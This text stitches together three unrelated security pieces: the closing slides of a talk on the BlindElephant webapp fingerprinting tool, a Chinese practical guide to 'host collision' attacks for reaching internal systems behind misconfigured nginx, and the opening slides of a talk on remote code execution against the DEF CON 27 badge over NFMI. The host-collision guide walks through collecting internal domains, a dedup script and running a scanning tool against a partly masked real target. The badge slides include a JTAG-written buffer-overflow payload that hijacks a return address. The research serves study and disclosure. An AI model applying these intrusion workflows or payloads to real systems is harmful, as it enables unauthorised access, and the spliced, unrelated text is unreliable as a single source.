25 Does it work? Hit http://laws.qualys.com/mt-static/css/simple.css Possible versions based on result: 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22- en-COM, 4.23-en, 4.23-en, 4.23-en-COM Hit http://laws.qualys.com/mt-static/mt_ja.js Possible versions based on result: 4.2-en, 4.22-en, 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en, 4.23- en-COM, 4.23-en-OS, 4.24-en, 4.24-en, 4.24-en-COM Hit http://laws.qualys.com/mt-static/js/tc/gestalt.js Possible versions based on result: 4.1-en, 4.1-en-CS, 4.2-en, 4.21-en, 4.21-en, 4.21-en-COM, 4.22-en, 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en, 4.23-en-COM, 4.24-en, 4.24-en, 4.24-en- COM Fingerprinting resulted in: 4.22-en, 4.22-en-COM, 4.23-en, 4.23-en-COM Best Guess: 4.23-en-COM 26 Lets Pick on the Security Bloggers Network $./BlindElephant.py http://www.andrewhay.ca/ wordpress Loaded wordpress with 159 versions, 599 differentiating paths, and 226 version groups. Starting BlindElephant fingerprint for version of wordpress at http://www.andrewhay.ca Fingerprinting resulted in: 3.0-RC1 3.0-RC1-IIS Best Guess: 3.0-RC1 27 BTW: It Does Plugins Too $ ./BlindElephant.py -s -p guess http://example.com drupal Possible plugins: ['admin_menu', 'cck', 'date', 'google_analytics', 'imce', 'imce_swfupload', 'pathauto', 'print', 'spamicide', 'tagadelic', 'token', 'views„] $./BlindElephant.py -s -p imce http://example.com drupal <snip> Fingerprinting resulted in: 6.x-1.3 28 New Toy! Lets Play • App ID & Fingerprinting on 1,084,152 hosts • 34k targeted scans for bug shakeout and calibration • Shodan = Really, really useful (kinda expensive though) • Is John here? I owe him a beer. • Slightly biased sample (skews to default installs, s‟okay though) • 50k and ~1M host random sample of 87M .com domains • Stats on accuracy and net-wide webapp population are from these 29 On To the Results… 30 0 0.2 0.4 0.6 0.8 1 1.2 1.4 1.6 1.8 2 v1.0 v1.5 v2.0 Version Distribution: SomeApp Graphing Sets of Possibilities • Host1 Possible Versions: v1.0, v1.5, v2.0 • .33 to three version columns • Host2 Possible Versions: v1.5, v2.0 • .5 to two version columns • Host3 Possible Versions: v1.5 • 1.0 to v1.5 31 Graphing Sets of Possibilities 32 0 0.5 1 1.5 2 v1.0 v1.5 v2.0 “Weighted” # of Apps Running Each Release Releases Version Distribution: Some App (6/18/10) Host1 Host2 Host3 Drupal C O N F I D E N T I A L 33 0 100 200 300 400 500 600 700 4.5.2 4.5.5 4.6.0 4.6.3 4.6.6 4.6.9 4.6.x-dev 4.7.2 4.7.5 4.7.8 4.7.11 5.1 5.4 5.7 5.10 5.13 5.16 5.19 5.22 6.1 6.4 6.7 6.10 6.13 6.16 7.0-alpha1 7.0-alpha5 # Hosts Version Distribution: Drupal (June 18, 2010) Affected by A Critical Vulnerability: 70% Joomla C O N F I D E N T I A L 34 0 1000 2000 3000 4000 5000 6000 7000 1.0.4 1.0.6 1.0.8 1.0.9 1.0.10 1.0.11 1.0.12 1.0.13 1.0.14 1.0.15 1.5.0 1.5.1 1.5.3 1.5.4 1.5.5 1.5.6 1.5.7 1.5.8 1.5.9 1.5.10 1.5.11 1.5.12 1.5.14 1.5.15 1.5.17 1.5.18 1.6 1.6.0 # Hosts Version Distribution: Joomla (June 18 2010) Affected by A “High” Vulnerability: 92% Liferay C O N F I D E N T I A L 35 0 2 4 6 8 10 12 14 16 4.3.0 4.4.1 4.4.2 5.1.2 5.2.1 5.2.3 # Hosts Version Distribution: Liferay (June 18, 2010) Mediawiki C O N F I D E N T I A L 36 0 20 40 60 80 100 120 140 160 180 200 1.3.11 1.3.13 1.3.18 1.5.5 1.5.8 1.6.10 1.6.12 1.7.3 1.8.4 1.9.3 1.10.1 1.10.3 1.11.0 1.11.2 1.12.1 1.12.3 1.13.0 1.13.2 1.13.4 1.14.0 1.15.0 1.15.2 1.15.4 1.16.0beta2 # Hosts Version Distribution: Mediawiki (June 18, 2010) Affected by a Serious Vulnerability: 95% Moodle C O N F I D E N T I A L 37 0 2 4 6 8 10 12 14 16 18 1.5.4 1.6 1.6.1 1.6.2 1.6.3 1.6.4 1.6.5 1.6.6 1.6.7 1.6.8 1.6.9 1.8 1.8.3 1.8.4 1.8.6 1.8.8 1.8.11 1.9 1.9.1 1.9.2 1.9.3 1.9.4 1.9.5 1.9.6 1.9.7 1.9.8 1.9.9 # Hosts Version Distribution: Moodle (June 18, 2010) Affected by a Major Vulnerability: 74% Movabletype C O N F I D E N T I A L 38 0 10 20 30 40 50 60 70 80 3.31 3.33 3.35-en 3.37-en 4.0-en 4.1-en-CS 4.2-en 4.3-en-OS 4.12-en-OS 4.13-en-OS 4.21-en 4.21-en-OS 4.22-en-COM 4.23-en 4.23-en-OS 4.24-en-COM 4.25-en-COM 4.26-en 4.31-en 4.32-en 4.33-en 4.121-en 4.131-en-CS 4.261-en-OS 5.01-en-OS # Hosts Version Distribution: MovableType (June 18, 2010) Affected by a Critical Vulnerability: 91% phpBB C O N F I D E N T I A L 39 0 5 10 15 20 25 30 2.0.4 2.0.5 2.0.6 2.0.7 2.0.9 2.0.11 2.0.12 2.0.13 2.0.14 2.0.15 2.0.16 2.0.17 2.0.18 2.0.19 2.0.20 2.0.21 3.0.2 3.0.3 3.0.4 3.0.5 3.0.6 # Hosts Version Distribution: phpBB (June 18, 2010) Affected by a Severe Vulnerability: 100% phpNuke C O N F I D E N T I A L 40 0 10 20 30 40 50 60 70 80 90 6.0 6.5 6.6 6.7 6.8 6.9 7.0 7.1 7.2 7.3 7.4 7.5 7.6 7.7 7.8 7.9 8.0 # Hosts Version Distribution: PHPNuke (June 18, 2010) phpMyAdmin C O N F I D E N T I A L 41 0 10 20 30 40 50 60 70 80 90 100 2.2.4 2.6.1PL3 2.6.3PL1 2.7.0PL2 2.8.1 2.9.0 2.9.0.2 2.9.1.1 2.10.0.1 2.10.1 2.10.3 2.11.1 2.11.1.2 2.11.2.1 2.11.3 2.11.5 2.11.5.2 2.11.7 2.11.8 2.11.9 2.11.9.2 2.11.9.4 2.11.9.6 3.0.0 3.0.1.1 3.1.1 3.1.3 3.1.3.2 3.1.5 3.2.0.1 3.2.2 3.2.3 3.2.5 3.3.1RC1 3.3.3 # Hosts Version Distribution: phpMyAdmin (June 18, 2010) Affected by a Critical Vulnerability: 85% SPIP C O N F I D E N T I A L 42 0 5 10 15 20 25 30 35 40 45 1.4.1 1.4.2 1.5b1 1.6 1.7.2 1.8 1.8.1 1.8.2 1.8.2.b 1.8.3 1.9.0 1.9.1i 1.9.1.rev7385 1.9.1.rev7502 1.9.2f 1.9.2g 1.9.2h 1.9.2i 2.0.0 2.0.1 2.0.2 2.0.3 2.0.5 2.0.6 2.0.7 2.0.8 2.0.9 2.0.10 2.0.11 2.1.0 # Hosts Version Distribution: SPIP (June 18, 2010) Affected by a Critical Vulnerability: 65% Wordpress C O N F I D E N T I A L 43 0 1000 2000 3000 4000 5000 6000 1.5.1 1.5.1.2 1.5.2 2.0 2.0.4 2.0.6 2.0.8 2.0.10 2.1 2.1.2 2.2 2.2.2 2.3 2.3.2 2.5 2.6 2.6.2 2.6.5 2.7.1 2.8.1 2.8.3 2.8.5 2.9 2.9.2 3.0-beta1-IIS 3.0-beta2-IIS 3.0-RC1-IIS 3.0-RC2-IIS # Hosts Version Distribution: Wordpress (June 18, 2010) Affected by a Critical Vulnerability: 4% Affected by a Medium Vulnerability: 21.5% Lost: a Clue 44 Lost: A Clue 45 He‟s only 6 years and 60 releases behind… Observations • Webapps actually doing pretty well update-wise • Improperly removed webapps abound • Switch from CMS A to CMS B, but leave A lying around • Net-visible test/QA sites 46 Precision 47 0 5000 10000 15000 20000 25000 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Fingerprint Precision (# Versions Resulting from a Fingerprint (1 is best) Precision 48 0 5000 10000 15000 20000 25000 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Fingerprint Precision (# Versions Resulting from a Fingerprint (1 is best) Average Versions Produced: 3.06 versions Speed 49 0 1000 2000 3000 4000 5000 6000 7000 8000 9000 1 6 11 16 21 26 31 36 41 46 # Hosts Time To Fingerprint (seconds) Fingerprinting Time (Quicker is better) Speed 50 0 1000 2000 3000 4000 5000 6000 7000 8000 9000 1 6 11 16 21 26 31 36 41 46 # Hosts Time To Fingerprint (seconds) Fingerprinting Time (Quicker is better) Average Time to Fingerprint: 6.4 seconds BlindElephant Scorecard • Very Generic  Same code for all apps & plugins • Fast  1-10 sec, based on host (Avg 6.4) • Low resources  Avg 354.2 Kb to fingerprint • Accurate Avg 1.66 versions & ID 98.0% of sites • Resistant to hardening/banner removal  Yes • Easy to support new versions/apps  ~2 hour to support all available versions of a new app (1 if they‟re packed nicely) 51 Sources Of Error • WebApp Incompletely Removed • Partial/Manual Upgrades • We tend to catch these though • Changed App Root • Static hosting on alternate domain (eg, Wikipedia) • Fails completely if static files are trivially modified • But guess what? People don‟t do it 52 Release the Kra… Elephant 53 http://blindelephant.sourceforge.net/ To Do • Web App Developers • Think about default deployments that resist fingerprinting • Help us create fingerprint files to recognize your app! • Site Administrators • Fingerprint yourself – know what the attackers know • Harden to resist fingerprinting • Just… stay up to date • Everyone Else • Try it out • Report bugs, contribute signatures, implement a pet feature 54 Questions? [email protected] [email protected] @coffeetocode http://coffeetocode.net 55
pdf
攻击内⽹的另类⽅式——host碰撞实践指南 清⽔川崎@滴滴SSTG 0x00.前⾔ 在当前的攻防实战当中,想要突破⽬标边界进入内⽹的⽅式无非有以下⼏种⽅式: 1.RCE/RCI(远程代码执⾏/远程命令注入) 2.VPN弱⼝令 3.SSRF漏洞 4.SQLI 5.⽂件上传 6.物理攻击/社⼯钓⻥ 但是有⼀种依靠⻓期信息收集才能提升攻击成功率的⽅式往往被忽略,那就是host 碰撞。 0x01.本质 host碰撞这种攻击⽅式本质上是nginx配置不当容易产⽣的安全问题。 nginx⼀般⽤ 于做外⽹代理,配置也比较⽅便,但是配置不当的时候会产⽣⼀些安全问题。其中 包括各个⼤⼚也都出现过(这⾥我就不点名是哪些互联⽹⼤⼚了)。 外⽹部署服务⼀ 般正常的流程是下⾯这样⼦的: intra server -> proxy -> nginx 内⽹的集群或机器不直接连接外部,nginx做个proxy代理透出传递互联⽹。如果 nginx配置不当,或者nignx default_server没有配置或者配置内⽹,那么⼩⼼内⽹ 业务将被透传出去。 nginx 的default_server指令可以定义默认的 server 去处理⼀些没有匹配 到server_name的请求,如果没有显式定义,则会选取第⼀个定义的server作 为default_server 也就是说nginx如果没配置default_server,那么nginx会默认 找⼀个a-z的域名进⾏匹配的,这个是nginx的默认规则,如配 置default_server为内⽹的业务,那么nginx也会默认使⽤。 nginx批量载入配 置 conf 时会按 ascii 排序载入,这就会以 server_a.conf server_b.conf server_c.conf 的顺序载入,如果没有声明default_server的话,那server_a会 作为默认的server去处理未绑定域名/ip 的请求. 0x02.现象 那么说清楚了本质原因,我们来看看host碰撞的现象级表象。 在攻防实战过程中, 很多时候我们在做信息搜集的时候,⼀般会遇到两种无法利⽤的情况: 1.扫描出来的很多根域名的⼦域名,其绑定解析的ip响应多为:Nginx 200、 Welcome to Centos、router 200、401、403、404、500、503 2.很多⼦域名解析到内⽹ip:17x.x.x.x、10.x.x.x 这⾥举⼀些例⼦ 先看看ip相关的案例 再来看看关于域名的案例 0x03.实践 现在来说⼀下怎么去实现host碰撞。 3.1. 前期准备 ⾸先,我们得有庞⼤的外⽹ip池、内⽹host池。我们需要搭建⼀些简易的soar 去实现。这⾥我推荐使⽤灯塔ARL 灯塔ARL github项⽬地址:https://github.com/TophantTechnology/ARL 它⼤概⻓这样⼦ 灯塔ARL可以⽅便的管理⽬标的资产信息,它会利⽤各种情报API充分收集⽬标的相 关信息。例如利⽤fofa、dnsmq、riskiq等api。我们按照要求搭建好以后,需要⽤到 其中的⼦域名监控、⼦域名管理的模块。 登录以后,新建⼀个资产组 然后启⽤⼦域名监控 差不多等待⼀周以上的时间,灯塔平台会⾃动收集并去重得到数量庞⼤的ip池、域 名池。 但是信息收集到这⾥还没有结束,我们还需要通过其他途径收集。 通过访问某些外⽹系统中的js、html源码中注释部分寻找内⽹域名 通过github寻找内⽹域名 很多员⼯喜欢把公司内⽹的⼀些域名丢到github、码云等代码托管平台,觉得内⽹ 域名需要VPN或者公司WiFi才能访问,其实这是给外部攻击者提供了攻击条件。 把代码托管平台中的这些host信息收集起来与灯塔ARL中的内⽹域名组合以后并去 重,将得到⼀个数量较⼤的内⽹域名池。 抓包灯塔展示内⽹域名的请求api得到json数据 灯塔ARL json数据的去重,这⾥我提供⼀个⾃⽤的脚本 #!/usr/bin/python3 import json data1 = 填⼊json数据 json_str = json.dumps(data1) list1 = [] list2 = [] data2 = json.loads(json_str) data2_len = len(data2['items']) for x in range(0,data2_len): data3 = data2['items'][x]['domain'] data3_len = len(data3) if data3_len != 0: for y in range(0,data3_len): list1.append(data3[y]) # print(data3[y]) else: list2.append(data3[0]) # print(data3[0]) list3 = list(set(list1 + list2)) list3_len = len(list3) for i in range(0,list3_len): print(list3[i]) 下⾯是使⽤效果 再组合github等其他途径收集到的内⽹域名信息使⽤站⻓之家在线去重即可 站⻓之家在线去重:http://tool.chinaz.com/tools/textquchong 接下来,我们选取公⽹域名得到其公⽹ip数据 使⽤导出功能,导出ip与端⼝数据 但其实端⼝数据我们⽤不到 我们可以使⽤Excel的数据分列功能处理⼀下 这样我们就得到⼀个外⽹ip池,只需要再在线去重⼀下即可。 3.2. 开始碰撞 这⾥使⽤这样⼀个github项⽬ https://github.com/smxiazi/host_scan 我们新建⼀个ip.txt,填入我们的外⽹ip池,新建⼀个host.txt,填入我们的内⽹域名 池,最后执⾏ nohup python3 host_scan.py & 即可 脚本会⾃动帮我们尝试模拟绑定ip与host,并提取标题到⼀个⽇志⽂件ok.txt中。 3.3. 验证结果 我们⾃⼰打开本机的/etc/host绑定⼀下host与ip即可 比如绑定(为了避免法律纠纷,这⾥选择模糊处理⼀下) 211.*.*.* *.secrss.com ⻚⾯也可以正常打开了 要知道之前的解析是如下的情况 外部攻击者理论上不可能可以访问到该系统 0x04.思考 内⽹很多域名存在如下的⻛险点 弱⼝令、SQLI、RCE等CVE⾼危漏洞未推修 未接入SSO走域认证 接入了SSO域认证的⽅式也没有屏蔽原有的登录/注册接⼝(旧系统、外采系统较 多) ⼀些外采系统由于⼀些不可抗⼒的原因不能升级更新 内⽹⼀些系统不重视代码审计,使⽤⼀些存在漏洞的组件或者版本较老的组件 等等问题。。。。 ⼀旦存在上述问题的系统,同时⼜存在host碰撞的问题,那么内⽹系统毫无安全性 可⾔。 0x05.引⽤ nginx 的 default_server 定义及匹配规 则:https://segmentfault.com/a/1190000015681272 隐藏资产探测-hosts碰撞 https://www.cnblogs.com/Rain99- /p/13756032.html
pdf
Over the Air Remote Code Execution on the DEF CON 27 Badge via NFMI World’s first NFMI exploitation, sorta or OTARCEDC27NFMIOMGWTFBBQ Agenda 1. Introduction 2. Intro to the Badge 3. Buffer Overflow and Proof of Concept 4. NFMI Specs 5. Convert Analog Signal into Symbols 6. Convert Symbols to Bytes 7. Reverse Engineer CRC, Craft Packets 8. Remote Crash the Badge 9. Hacking NFMI Firmware 10. OTA RCE Demos Because Any Meeting without an Agenda is a Trap Introduction • Seth Kintigh • Hardware Security Development Lifecycle Engineer a Dell • Hobbyist programmer since 1987, learned cipher breaking from my grandma, mom was meteorologist and COBOL programmer, dad is an Electrical Engineer • WPI graduate • BS EE with minors in CS and Physics • MS EE with concentration in crypto and infosec • Started career as an EE, but shifted to network security in 2004 • At home at low levels and layers Near Field Magnetic Inductance (NFMI) • Short range wireless physical layer that communicates by coupling a tight, low- power, non-propagating magnetic field between devices. • The concept is for a transmitter coil in one device to modulate a magnetic field which is measured by means of a receiver coil in another device. [1] • Not radio! • Radio waves (electromagnetic waves) decay at 1/r2 • Magnetic fields decay at 1/r6 • Very short range, 2m tops, 10s of cm badge to badge, a 1-2 cm in my experiments. • Short range makes it more secure • Low absorption by body tissue, unlike radio, good for a “Body Area Network” • More efficient than radio over short distances • Used in some hearing aids and some proximity cards as part of the NFC protocol 1: https://en.wikipedia.org/wiki/Near-field_magnetic_induction_communication 2: https://www.nxp.com/products/wireless/miglo/nfmi-radio-for-wireless-audio-and-data- streaming:NXH2261UK Almost No Information Available • Weird levels of secrecy for hearing aid tech (dreams of Apple earbuds?) • No data sheet (very weird) • No protocol info at all • No development kits • No samples • NDA required with minimum orders in the 100,000s of units Software Defined Radio (SDR) • Functions that were once performed in specialized hardware can now be done in software, hence Software Defined Radio • I used GNURadio to modulate and demodulate signals • I use HackRF to tune and receive/transmit signals • Instead of an antenna I use a coil, basically an electromagnet (or half of a transformer), to send and receive signals • I used Python for everything else • Pulling clean packets out of noise, unmasking/unobfuscating packets, convolution and deconvolution of symbols, converting symbols to/from data, computing their bizarre CRC format, writing packets into .wav files for transmit Other Terms You Should Know • Buffer overflow: write data to a stack variable then keep on writing until you overwrite the return address of a function. Rewrite the return address to some point at your code or somewhere interesting. • SWD/J-TAG: low level debugging interface for hardware. Like GDB, for hardware – read or write registers, memory and flash, step the clock one cycle at a time, good stuff. • Convolution code: In telecommunication, a convolutional code is a type of error-correcting code that generates parity symbols via the sliding application of a boolean polynomial function to a data stream.[1] [1] https://en.wikipedia.org/wiki/Convolutional_code The DEF CON 27 Badge Game • The badges communicate with each other via NFMI, also LEDS and beep depending on activity • They were part of a game: • Must communicate with 1 each of “magic” versions of the badge types: Speaker, Village, Contest, Artist, Goon • “Prize” is a piezoelectric rick-roll • Cut from crystalline stone, see great presentation on how they were made[2] [1] http://www.grandideastudio.com/defcon-27-badge/ [2] https://www.youtube.com/watch?v=gnZQcWIX02A DEF CON 27 Badge Hardware • Badge has an MCU, NFMI chip, LEDs, and piezoelectric speaker • MCU communicates to the NFMI chip via UART • When the MCU boots up, the MCU loads the badge firmware • Within that firmware is an NFMI protocol firmware patch • The MCU sends that firmware patch to the NFMI chip during bootup www.grandideastudio.com/wp-content/uploads/dc27_bdg_slides.pdf DEF CON 27 Badge Debug Interfaces www.reddit.com/r/Defcon/comments/cpmpja/defcon_27_badge_hacking_for_beginners/ • There are pads for serial and SWD communication with the MCU • Solder on leads or use pressure connectors “Depopulating the connectors stops the hackers!” • Serial port shows a terminal interface for the badge MCU • JTAG/SWD allows rewriting of the MCU firmware, and full debugging control over the MCU, including stepping the clock, reading registers, etc. Padding UART for Fun and Profit • Badge MCU wants to transmit 8 bytes • MCU pads that to 18 bytes • Sends via UART to NFMI chip • NFMI chip un-pads and transmits NFMI Transmission • Receiving NFMI re-pads data • Sends via UART to MCU • Badge MCU strips padding, puts data on ring buffer until it’s ready to process it Badge 1 UART MCU NFMI “B” D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF*“E” 01 23 45 67 89 AB CD EF 01 23 45 67 89 AB CD EF UART NFMI MCU “B” D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF “E” 01 23 45 67 89 AB CD EF 01 23 45 67 89 AB CD EF Badge 2 * I’m Ignoring byte reordering Buffer Overflow • To find game clues I spent the first few hours reverse engineering the firmware • Then the source code was released… But I’ve never been given the correct answers before • Found a buffer overflow so obvious I was sure it was a part of the game • (Narrator: It wasn’t) Buffer Overflow Proof of Concept • I Verified it was exploitable by simulating a large packet • I started by writing a buffer overflow exploit in ARM code • I used JTAG to write it directly onto the MCU’s ring buffer for receiving NFMI data • The badge read the data and executed my code injection, proving it was exploitable W1 0x1ffffcd6 0x04 // set nxhTxIndex w1 20002f00 42 d0 d0 d0 d0 d0 d0 d0 d0 d0 d0 d0 d0 d0 d0 d0 d0 // “B”, 16 bytes of padded nibbles w1 20002f11 00 00 00 00 11 11 11 11 44 44 44 44 55 55 55 55 // Overwrite other stack vars, R4, R5 w1 20002f21 33 4c 00 00 e5 f1 ff 1f 11 11 11 11 22 22 22 22 // LR→[POP R0-R2,R3,R4,PC], R0→str addr, R1, R2 w1 20002f31 33 33 33 33 44 44 44 44 2d 04 00 00 48 61 63 6b // R3, R4, LR->printf, then my string w1 20002f41 20 74 68 65 20 70 6c 61 6e 65 74 0d 0a 00 45 // end of string, “E” w1 0x1ffffcd4 0x51 // set nxhRxIndex • Demo! • Now I just needed to do that with a real NFMI transmission NFMI Specs are Tough to Find • Some NXP NXH2261UK info in marketing pamphlets, blogs, and FCC filings: • Center frequency: 10.579 MHz[2][5], 10.6 MHz[1], 10.56 MHz antenna on badge[3] • 12.288 MHz oscillator?[6] • Bandwidth: 596 kbps[1][4] and/or 400 kHz[1] or 568.7 kHz[7] • Supports streaming via I2C? • D8PSK/8-DPSK modulation[1][7] • Up to 2 audio Tx, 2 audio Rx[6] • Firmware suggests it has 8 queues, each 16 bytes (group chat?) 1: https://www.futureelectronics.com/resources/get-connected/2017-06/future-electronics-near-field-magnetic-induction 2: https://www.nxp.com/products/wireless/miglo/nfmi-radio-for-wireless-audio-and-data-streaming:NXH2261UK 3: http://www.grandideastudio.com/wp-content/uploads/dc27_bdg_bom.pdf 4: https://www.nxp.com/docs/en/fact-sheet/MIGLOFS.pdf 5: https://fccid.io/TTUBEOPLAYE8R/RF-Exposure-Info/RFExp-3568435 6: https://www.52audio.com/wp- content/uploads/2018/06/NXP%E6%81%A9%E6%99%BA%E6%B5%A6%E3%80%8A%E6%81%A9%E6%99%BA%E6%B5%A6%E7%9C%9F%E6%97%A0%E7%BA%BF%E8%80%B3%E6%9C%BA%E5%92 %8C%E4%BD%8E%E5%8A%9F%E8%80%97%E6%B8%B8%E6%88%8F%E8%80%B3%E6%9C%BA%E7%9A%84%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E3%80%8B.pdf 7: https://apps.fcc.gov/eas/GetApplicationAttachment.html?id=5049516 Start by Analyzing the Analog Signal • Pattern of 8 bursts every 4.8 seconds (16 bursts shown): • Each burst has 4 sections (1 burst shown): 1 23 4 Section 1 2 3 Section 4 Raw signal capture, no down-conversion Sections: Section 1 • Section 1 is 21 pulses of 3 frequencies then a pause/null • Appears to be timing signal using/mimicking trinary FSK modulation (TFSK?) • Center of frequency plot is 10.569MHz, other pulses shifted +/- 150MHz • Probably to tell the receiver the signal strength and timing, possible frequency info frequency magnitude  Time → Graphs made with: Baudline, Audacity Quick Note on Down-Conversion • This is the raw signal, most energy at 10.569MHz +/- 200KHz: • Below is the signal when the HackRF is tuned to 10.569MHz, and it down-converts the signal by 10.569MHz • Most energy is now centered at 0Hz +/-200KHz • Signals that were at 10.569MHz are now at almost 0Hz (sections 1 and 3) • Data is more visually obvious (sections 2 and 4) • It’s the process of shifting a signal to an Intermediate Frequency frequency frequency Section 2: Preambles • Section 2 held one of a few patterns, often repeated twice, or inverted, or with magnitude and phase swapped Demodulated by 10.56MHz so center appears at 0Hz Section 3: More Timing? • Seems to be more timing(/strength/freq) data, communicated with 4 bursts of the center frequency followed by a pause/null Mag and phase down-converted Magnitude with no down-converting Mag down-converted by 10.569MHz to almost 0Hz Frequency drift happens Section 4: Data! • 271(?!) copies of the data packet • Each starts with one of 8 variations of Section 2 preamble • Followed by data • Then a brief null/pause • Sometimes exact copies, sometimes inverted, sometimes I and Q swap D8PSK Modulation • PSK modulations transmit data by modulating a carrier frequency using carefully timed cosine “I” and sine “Q’ inputs • If you plot these signals by magnitude of the “in-phase” (I) and “quadrature” (Q) components the result is a constellation of 8 points • Each phase is a “symbol” 0-7 • Differential means the information is transmitted as the difference between 2 symbols, modulo 8 • Differential, 8-point constellation, Phase Shift Keying Frequency and Sample Rate • Center frequency seems to move • Different badges have different freqs? Temperature? Sample rates? Anger? • 1.5515MHz worked for a long time, then 1.4MHz, then 1.569MHz • Sample rate of 2Msps and 1.192Msps (corresponding to 596kHz bandwidth) didn’t work as well as 1.19055Msps (595,275Hz bandwidth) • Latter value gave me 4 samples per symbol, 440 samples per packet Reverse Engineering the Analog Signal • HackRF to receive the signal • Used GNURadio to write a D8PSK demodulator to output symbols • Nightmare of poor docs, broken examples, months of guessing and checking • I published working examples here: https://github.com/skintigh/GNURadio_examples Dealing with Noise and Nulls • The 271 copies of section 4 varied a lot, only some of that due to noise • Structure seems* to be: 3 null symbols, 1 random symbol, then 106 symbols • Nulls?!? • Appeared to be noise at first • Sort of a 9th symbol in D8PSK, the null forms a 9th dot at the center of the constellation (D9PSK?) • Related to NXP’s CoolFlux BSP audio chip? • Uses nulls in a OFDM-DQPSK signal [1] • Simple to find timing using a low pass filter[1] * Or maybe random symbol R, 2 nulls, 7-R? Signals have 11 tiny samples that look like: .I…….I. [1] DSP-Based Implementation of a Digital Radio Demodulator on the ultra-low power processor CoolFlux BSP 110 Symbols Plotted by Phase and Delay 000000000000000000000000000025453535353535353535353535353573544444444444444444444444444170177177764 000000000000000000000000000027362626253535353535353535353552444453535353535353535353537000700000001 000000000000000000000000000036362535352626262626262535353563444444444444444444535353520700000000077 000000000000000000000000000016353535353535353535353535353513445353535354444444444444434000000000070 000000000000000000000000000105444444444444444444444444444424444444444444444444444444430100000000640 000000000000000000000000000363626262535353535353526262626543535353544444444445353535307000000000000 000000000000000000000000000024535353535353535353535444444414435444435353535353535353527000000000715 000000000000000000000000000026353535353535353535353535353563535353535353535353535353535107000000000 000000000000000000000000000025435444444444444444444444444404444444444444444444444444430000007170160 000000000000000000000000000104535353535353535353535444444433535353535353544354444444417000000000076 000000000000000017000100000026353535353535353535353535353673535353535353535353535444436000000000070 000000000000000000000000000114535353535353535444444444444433535353535353535444444444427000000000030 000000000000000000000100071272626262626262626262626262626433535353544444444444444444407000000000040 000000000000000010000000000272626262626262626262626262626635353535353535353535353535370000000000070 000000000000000000000000000015444444444444444444444444444424444444444444444444444444432000000000010 000000000000000000107010070203626262626262626263535353544433535353535353535353535353517000000000060 000000000000000000000000000103626262626262535354444444444524444444444444444444444444407000000007111 000000000000000000000000100013617265353535353526262626262602626262626253535353535353526000000000002 000000000000000000001000000111717007171626262626262626262673625353535353535353535353527700000000005 Section 1-3 Symbols • Section 1: 21 x 99 symbols • Timing? • Section 2: 2 copies of 44 symbols • Preamble! • Section 3: 4 x 56 symbols • Timing? 44404040246000006420004000000000210000000005 44404040246000006420004000000000210000700000 4000000000000000300000000000 2100000000000000300000000000 1100000000000000300000000000 02000000000000002100000000000 Section 4 Symbols • Section 4: 271 copies of 110 symbols • Not all identical copies dues to noise • Wrote a Python tool to count packet variations • Outputs 1 copy of the most common packet in this section 00735350305015510000552000442775576644063173443234570742120043137542513031530202076616413144077352775447244044 51714440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 61704440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 50724440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 62004440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 50724440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 61704440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 50014440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 61704440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 50724440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 51004440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 50104440404024600000642000442774675644063173443233670732120043137542513031530202076616413144077352775447244044 Preambles • 20 fixed symbols, then 12 that form 1 of 3 patterns • Section 2: alternates randomly between 2 sequences <with 12 nulls in-between?> • 4440 4040 2460 0000 6420 0040 0000 0000 • 4440 4040 2460 0000 6420 0042 3133 4224 • Section 4: All 271 copies start (after null junk) with: • 4440 4040 2460 0000 6420 0044 2774 6756 Structure of Section 4 Data Symbols Header: • 4 bytes null/primer • Preamble 8x4 symbols • 20 fixed, 12 variable Counter Size 8 Bytes of User Data Unused Data 4277235742232167 0732 12004313754251303153020207661641 31440773527 Packet Data Null Preamble Packet Data Checksum 5001 44404040246000006420004427746756 4406317344323367073212004313754251303153020207661641314407735277 5447244044 Packet Data 16x4 symbols: • 16 symbol counter • Changes every burst, seems to increment • 4 symbols for user data size • Learned this by modifying badge firmware • 44 symbols for 11 bytes of user data • 12 symbols/3 bytes unused by badge Packet Footer • 10 symbols Finding the Mask Symbols for Data 5-11 • So now we have a stream of differential symbols, do we have data? • Not even close • Every symbol after the preamble* are masked. • Setting the badge to transmit 8 bytes of 0x00 confirmed this • This gave me 32 symbols of the mask • Modified badge firmware to send 11 bytes of 0x00 • That gives us the mask for those 11 user bytes (packet data bytes 5 though 15): 5 4 3 5 7 0 3 6 4 0 7 3 0 4 1 4 4 2 7 4 6 2 0 2 0 7 6 6 1 6 4 1 5 2 3 4 4 7 5 1 1 2 5 5 • I don’t see a pattern. * and maybe the last 12 symbols of the preamble are masked, too. Finding the Mask Symbols for Data 0-4 • The symbols changed with every burst -- alternated between changing 1 symbol and (usually) 7 • Every 8 packets: 8 symbols changed. Every 32: 9 changed. Every 128: 10 changed • Conclusion: it’s a counter, 2 bits per symbol, with convolution on half(?!) of the bits • After some reboots, the first symbol alternated between 0 and 4, on others between 2 and 6 • Every other location could be any symbol 0-7 • The first group of 4 symbols had 128 patterns, the next group of 4 had 256 patterns • Conclusion: the counter increments by 2, and sometimes starts odd, sometimes even • I didn’t know which was odd or even, so I guessed 0/4 was even. I guessed… poorly. • Tail of 6 changed symbols obfuscates other symbols • Even if I assume byte3 == 0 and know byte 4, I can only compute the last 2 of 8 symbols 0000 1111 2222 XXXX XX44 Finding Mask Symbols for Data 0-4 • I Recorded the counter for a week, observed transitions • This gave me a mask for the first 10 symbols • Confirmed the count doesn’t start at zero 